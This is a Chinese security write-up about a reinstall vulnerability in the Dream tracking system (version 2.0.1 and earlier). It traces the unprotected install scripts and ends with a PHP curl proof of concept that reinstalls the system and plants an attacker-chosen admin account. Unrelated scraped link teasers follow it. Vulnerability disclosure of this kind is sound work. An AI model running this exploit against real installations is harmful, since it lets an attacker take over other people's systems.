Dream权限追踪系统<=2.0.1 重安装漏洞
在./install/install.php中
if(file_exists('lock.txt')){
echo '系统已安装,请不要重复安装!如需安装,请删除install文件夹下的lock.txt文件。';
exit();
}
通过检测lock.txt文件是否存在来判断系统是否已经安装了,
但是看到代码的最后,发现是这个样子的
<div class="act"><input onclick="onClose()" class="but" name="no" type="button" value="不同意" /> <input onclick="onNext()" class="but" name="yes" type="button" value="同意" />
点击按钮是通过前台js来控制提交的数据的,如果同意安装协议的话,就调用onNext()函数,看看这个函数的定义
function onNext(){
window.location = "check.php";
}
直接导向至check.php文件了,来看看这个文件是怎么写的
<?php
/*
* @varsion Dream缺陷跟踪系统 2.0var
* @package 程序设计深圳市九五时代科技有限公司设计开发
* @copyright Copyright (c) 2010 - 2015, 95era, Inc.
* @link http://www.d-winner.com
*/ require_once (dirname(__FILE__) . "/inc/config.inc.php");
$gd = gd_info();
$curl = function_exists('curl_init');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="x-ua-compatible" content="ie=7" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Dream缺陷跟踪系统 - 安装向导</title>
...
并没有判断入口是否合法,所以可以直接在浏览器中访问之
然后"下一步"又是个onNext()函数来处理的,继续看
function onNext(){
var data = document.getElementsByName("data");
var num = 0;
for(i=0;i<data.length;i++){
if(data[i].value==1){
num += Number(data[i].value);
}
}
if(num==data.length){
window.location = "mysql.php";
}
num = 0;
}
最重要的是window.location="mysql.php";这条代码,也就是说下一步的数据提交给Mysql.php处理,继续看Mysql.php的代码
<?php
/*
* @varsion Dream缺陷跟踪系统 2.0var
* @package 程序设计深圳市九五时代科技有限公司设计开发
* @copyright Copyright (c) 2010 - 2015, 95era, Inc.
* @link http://www.d-winner.com
*/ if(file_exists('lock.txt')){
echo '系统已安装,请不要重复安装!如需安装,请删除install文件夹下的lock.txt文件。';
exit();
}
require_once (dirname(__FILE__) . "/inc/config.inc.php");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="x-ua-compatible" content="ie=7" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Dream缺陷跟踪系统 - 安装向导</title>
<script language="javascript">
<!--
function onLast(){
history.back();
} function onClick(){
h = list.host.value;
n = list.name.value;
u = list.user.value;
wn = list.webname.value;
hn = list.hostname.value;
e = list.mail.value;
au = list.adminuser.value;
ap = list.adminpwd.value;
ap2 = list.adminpwd2.value;
if(h=="" || n=="" || u=="" || wn=="" || hn=="" || e=="" || au=="" || ap=="" || ap2==""){
alert("选项不能为空");
return false;
}else{
if(ap!=ap2){
alert("两次输入的密码不相同");
return false;
}
if(!e.match(/@/)){
alert("邮箱格式不正确");
return false;
} return true;
}
}
-->
</script>
<link href="img/style.css" rel="stylesheet" type="text/css" />
</head>
<body>
<form action="inc/install.act.php" method="post" name="list">
<div align="center">
<div class="main">
<div class="top">
<img src="img/logo_about.png" height="45" />
<span>Dream缺陷跟踪系统</span></div> <div class="content">
<table width="100%" border="0" cellspacing="0"> <tr>
<td height="26" colspan="3" class="top_txt">数据库信息</td>
</tr>
<tr>
<td width="21%" height="22">数据库服务器:</td>
<td width="34%"> <input name="host" type="text" class="txt_wd" value="127.0.0.1" /></td>
<td width="45%"> 数据库服务器地址, 一般为 localhost</td>
</tr>
<tr>
<td width="21%" height="22">数据库名:</td>
<td width="34%"> <input name="name" type="text" class="txt_wd" value="" /></td>
<td> </td>
</tr>
<tr>
<td width="21%" height="22">数据库用户名:</td>
<td width="34%"> <input name="user" type="text" class="txt_wd" value="" /></td>
<td> </td>
</tr>
<tr>
<td width="21%" height="22">数据库密码:</td>
<td width="34%"> <input name="pwd" type="password" class="txt_wd" value="" /></td>
<td> </td>
</tr>
<tr>
<td width="21%" height="22">数据表前缀:</td>
<td width="34%"> <input name="prefix" type="text" class="txt_wd" value="dwin_" /></td>
<td> 同一数据库运行多个系统时,请注意修改前缀</td>
</tr>
<tr>
<td height="26" colspan="3" class="top_txt">程序及用户信息</td>
</tr>
<tr>
<td width="21%" height="22">项目名称:</td>
<td> <input name="webname" type="text" class="txt_wd" value="我的项目" /></td>
<td> </td>
</tr>
<tr>
<td width="21%" height="22">项目域名:</td>
<td> <input name="hostname" type="text" class="txt_wd" value="<?php echo URL ?>" /></td>
<td> </td>
</tr>
<tr>
<td width="21%" height="22">管理员邮箱:</td>
<td> <input name="mail" type="text" class="txt_wd" value="" /></td>
<td> 请务必填写正确</td>
</tr>
<tr>
<td width="21%" height="22">管理员账号:</td>
<td> <input name="adminuser" type="text" class="txt_wd" value="admin" /></td>
<td> </td>
</tr>
<tr>
<td width="21%" height="22">管理员密码:</td>
<td> <input name="adminpwd" type="password" class="txt_wd" value="" /></td>
<td> </td>
</tr>
<tr>
<td width="21%" height="22">再输入一次密码:</td>
<td> <input name="adminpwd2" type="password" class="txt_wd" value="" /></td>
<td> 请牢记您的账号与密码</td>
</tr> </table>
</div>
<div class="act"><input onclick="onLast()" class="but" name="yes" type="button" value="上一步" /> <input onclick="return onClick()" class="but" name="put" type="submit" value="下一步" /> <div><img src="img/step3.png" width="700" height="10" /></div>
</div>
<div class="foot">Copyright 2010-2015 <a href="http://www.95era.com/" target="_blank">九五时代</a> Inc. All Rights Reserved</div>
</div>
</div></form>
</body>
</html>
判断入口是否合法了,但是这个判断,然并卵,因为这个文件并不是最终处理数据的文件,数据最终提交到./install/inc/install.act.php文件中处理,而这个install.act.php文件是这样子的:
<?php
/*
* @varsion Dream缺陷跟踪系统 2.0var
* @package 程序设计深圳市九五时代科技有限公司设计开发
* @copyright Copyright (c) 2010 - 2015, 95era, Inc.
* @link http://www.d-winner.com
*/ session_start();
require_once (dirname(__FILE__) . "/config.inc.php");
include(PJINC.'/core/filesys.lib.php'); $nf_d = new filesys;
if(isset($_POST['put'])){
if($_POST['put']!=''){
$show = '';
$host = trim($_POST['host']);
$name = trim($_POST['name']);
$user = trim($_POST['user']);
$pwd = trim($_POST['pwd']);
$prefix = trim($_POST['prefix']);
$data = array();
$data['webname'] = trim($_POST['webname']);
$data['hostname'] = trim($_POST['hostname']);
$data['mail'] = trim($_POST['mail']);
$data['adminuser'] = trim($_POST['adminuser']);
$data['adminpwd'] = trim($_POST['adminpwd']);
$conn = mysql_connect($host,$user,$pwd);
...
没有判断入口是否合法,直接接受POST过来的数据然后开始SQL操作,所以可以直接构造POST数据包提交过去,重新安装程序,当然,你需要先找一个可以外联的mysql服务器。
POC:
<?php
$url="http://127.0.0.1/dream/install/inc/install.act.php";
$data="host=192.168.0.100&name=HackDream&user=root&pwd=root&prefix=hack_&webname=myHackTest&hostname=http://192.168.0.100/dream&mail=test@mail.com&adminuser=Hacker&adminpwd=Hacker&adminpwd2=Hacker&put=1";
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
$result=curl_exec($ch);
curl_close($ch);
print_r($result);
?>
可以看到新的数据库hackedream已经成功建立鸟~~~
Dream权限追踪系统<=2.0.1 重安装漏洞的更多相关文章
- 分布式监控系统Zabbix-3.0.3-完整安装记录(1)
分布式监控系统Zabbix-3.0.3的安装记录 环境说明zabbix-server:192.168.1.30 #zabbix的服务端(若要监控本机,则需要配置本机的Zabbix agent, ...
- 分布式监控系统Zabbix-3.0.3-完整安装记录(7)-使用percona监控MySQL
前面已经介绍了分布式监控系统Zabbix-3.0.3-完整安装记录(2)-添加mysql监控,但是没有提供可以直接使用的Key,太过简陋,监控效果不佳.要想更加仔细的监控Mysql,业内同学们都会选择 ...
- 从壹开始前后端 [vue后台] 之一 || 权限后台系统 1.0 正式上线
缘起 哈喽各位小伙伴周三好,春节已经过去好多天了,群里小伙伴也各种催搞了,新年也接了新项目,比较忙,不过还是终于赶上这个二月的尾巴写了这篇文章,也把 vue 权限后台上线了(项目地址:http://1 ...
- 分布式监控系统Zabbix-3.0.3-完整安装记录(6)-微信报警部署
Zabbix可以通过多种方式把告警信息发送到指定人,常用的有邮件,短信报警方式. 现在由于微信使用的广泛度,越来越多的企业开始使用zabbix结合微信作为主要的告警方式,这样可以及时有效的把告警信息推 ...
- 分布式监控系统Zabbix-3.0.3-完整安装记录(5)-邮件报警部署
前面几篇陆续介绍了zabbix3.0.3监控系统的部署和监控项配置,今天这里分享下zabbix3.0.3的邮件报警的配置过程~由于采用sendmail发送邮件,常常会被认为是垃圾邮件被拒,所以不推荐这 ...
- 分布式监控系统Zabbix-3.0.3-完整安装记录(3)-监控nginx,php,memcache,Low-level discovery磁盘IO
前段时间在公司IDC服务器上部署了zabbix3.0.3监控系统,除了自带的内存/带宽/CPU负载等系统资源监控模板以及mysql监控模板外,接下来对诸如nginx.php.memcache.磁盘IO ...
- 分布式监控系统Zabbix-3.0.3-完整安装记录(2)-添加mysql监控
Zabbix3.0 Server以后就自带了MySQL插件来监控mysql数据库的模板,只需要配置好agent客户端,然后在web端给主机增加模板就行了. 以下是公司线上的zabbix3.0环境下添加 ...
- 分布式监控系统Zabbix-3.0.3-完整安装记录(4)-解决zabbix监控图中出现中文乱码问题
之前部署了Zabbix-3.0.3监控系统,在安装数据库时已经将zabbix库设置了utf-8字符. 首先确定zabbix开启了中文支持功能:登录到zabbix服务器的数据目录下(前面部署的zabbi ...
- 分布式监控系统Zabbix-3.0.3-完整安装记录(0)
一.Linux下开源监控系统简单介绍1)cacti:存储数据能力强,报警性能差2)nagios:报警性能差,存储数据仅有简单的一段可以判断是否在合理范围内的数据长度,储存在内存中.比如,连续采样数据存 ...
随机推荐
- jquery选择器之获取父级元素、同级元素、子元素
一.获取父级元素 1. parent([expr]): 获取指定元素的所有父级元素 二.获取同级元素: 1.next([expr]): 获取指定元素的下一个同级元素 2.nextAll([expr]) ...
- grep 提取百度网盘的链接
弄到一堆学习资料,都是网盘地址,其中有很多失效了,不想一个个试 3.3第20季:HTML5特效实战 https://pan.baidu.com/s/1kVBrpZp 3.4第21季:3小时玩转微信小程 ...
- Papa开启“点播孙子”模式,新型老年人服务能在国内扎根吗?
"互联网+"对多个行业的全面赋能和渗入,的确让我们的生活与工作处处充满了便利.很多"跑断腿"才能办的事,现在只要在PC.智能手机上滑动鼠标.点击屏幕就能轻松搞定 ...
- MySQL允许某个IP网段从远程访问的方法
grant select,insert,update,create on test.* to test@'192.168.8.%' identified by '123456'; 允许增删改查 ...
- μC/OS-II中使用软件定时器
在试着将μC/OS-II移植到ARM7芯片(LPC2138)上的过程中,发现使用OSTmrCreate创建的OSTmr始终都不能执行CallbackFunction,OS版本是v2.85,最后是这么解 ...
- EXAM-2018-7-27
EXAM-2018-7-27 未完成 [ ] F A 要用ll,然后注意正方形的情况,细心一点 E 有点动态规划的感觉,状态的转移,不难,要注意不要漏掉状态 K 正解是DFS 然后用贪心数据弱的话能过 ...
- VSTO外接程序项目只用1个文件实现Ribbon CustomUI和CustomTaskpane定制【C#版】
VSTO中的自定义功能区和自定义任务窗格需要用到各种命名空间.添加所需文件,才能实现.后来我发现可以把所有代码都写在ThisAddin.cs这个默认文件中. 大家可以在Visual Studio中创建 ...
- 感觉自己out了
看了公司混乱而落后的框架,想自己开发一个. 无意中到开源网站看到,开源的控件已经非常多了,基本上说应有尽有. 感叹这个知识大爆炸的年代. 自己现在是坐在井底的蛤蟆?
- php通过身份证判断性别
/** 已测试,百度很多写法不行的 * 1就是男性 2就是女性* 通过身份证获取性别类型* @param type $card* @return int*/function getCardSex($i ...
- 执行PHP -m报错Xdebug MUST be loaded as a Zend extension
Xdebug扩展安装后执行PHP -m报错: <br /><b>Warning</b>: Xdebug MUST be loaded as a Zend exten ...